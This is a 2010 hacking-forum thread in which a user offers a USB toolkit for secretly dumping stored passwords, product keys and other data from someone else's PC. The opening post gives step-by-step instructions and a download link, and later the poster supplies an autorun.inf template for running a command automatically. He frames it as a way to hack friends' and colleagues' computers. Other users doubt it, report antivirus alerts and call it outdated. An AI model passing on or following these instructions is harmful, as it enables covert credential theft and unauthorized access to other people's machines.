Thread: [Hack a PC by USB](#)

**Unixroot™** - May 20, 2010, 6:33 am

[img]http://i41.[censored].com/huj67q.jpg[/img]

Instructions:

Download it....

1 = Extract it.

2 = open pcinfo

3 = select all the files and paste it in ur USB ( not in any folder, at the main root )

4 = insert it in the pc u wanna hack...

5 = Open the USB drive, give it 2 sec and and ur job is done...

And now open the dump folder in ur pc and u will have all the info u want....

Info u will obtain:

Ok now the problem which you will....

I think it dose'nt autorun on PC with antivirus... U have to manually click the nircmd.exe

<http://www.multiupload.com/0LG8UCLKZ5>

ENJOY.....

By this app u will be able to hack ur friends & Coluges pc  
Startup,CurrProcess,FileTypesMan,OpenedFilesView ,ProduKey,Protected Storage  
PassView,USBDeview Etc.

**Fallenour** - May 20, 2010, 6:38 am

what does it do exactly? what does it locate? Where does it send the files it finds to? What does it target? You really need to include a lot more info that you did.

**Unixroot™** - May 20, 2010, 6:42 am

chk it out.....

**Fallenour** - May 20, 2010, 6:44 am

you dont just put up a thread saying "hacks your computer" but dont post any information about it, noone will dl it, and the most youll achieve is getting accused of trying to hack other members.

**Unixroot™** - May 20, 2010, 6:45 am

OK try it,

thanx,,,,,,,,,,,,,

**Fallenour** - May 20, 2010, 6:48 am

You dont have to remove it, just include more information about it. The more people knowa bout it, the more likely theyll wanna dl it.

**z3pt0seC** - May 20, 2010, 6:50 am

Looks nice but i wont try it!

ENjOY.....

Make an autorun file, could help

**Unixroot™** - May 20, 2010, 7:11 am

as you wish

@ Fallenour ,  
thanx

**Xycon** - May 20, 2010, 8:35 am

this is a rippof from usb thief

wich is way older and has the exact same things and even more

**Unixroot™** - May 21, 2010, 10:32 pm

Make an autorun file, could help  
it have autorun..

**kitkin15** - May 21, 2010, 10:49 pm

How do you make autorun? i need it for my own program lol.

I am going to try this out, ill do it at school so as a just incase i dont get hurt lol.

It would be better if you would provide a LITTLE bit more info, that is always nice =)

**Unixroot™** - May 21, 2010, 10:56 pm

autorun.inf

[autorun]  
action=Open Files On Folder  
icon=(your icon).ico

shellexecute=command

**Kanye591** - May 21, 2010, 10:58 pm

Yo, is this legit? It looks very fishy.

**Unixroot™** - May 21, 2010, 10:59 pm

no i dont think so.

**-mothered-** - May 22, 2010, 5:34 am

Okay, well I've executed It with both my Norton Internet Security 2010 and Trend IS 2010, and both have alerted suspicious behavior.

Now, I'm not implying that this does In fact contain malicious content, as I haven't delved Into the exe as yet. It may well be a false positive, so I'll analyze It further and see what happens.

Cheers :)

**Unixroot™** - May 22, 2010, 6:18 am

OK

---

Cheers :)

**Etren** - May 24, 2010, 9:48 am

you dont actually expect anybody to download this shit do you?  
you dont even mention what tools specifically are being used.  
do you even know what it is that you're sharing here?

**Unixroot™** - May 24, 2010, 10:59 pm

you kids dont understand what we can do from this t00lz

you n00b ? ?? ?? ?

**Soul Bad Guy** - May 25, 2010, 8:52 pm

it's didn't work.  
where password

**paisvasco** - May 25, 2010, 10:08 pm

I ignore if this is switchblade or pocketknife, anyways it is so old and quite useless. It is from 2008  
and any AV will detect nircmd.exe

**Unixroot™** - May 26, 2010, 2:13 am

no password

@ paisvasco

but some tools inside is very use full
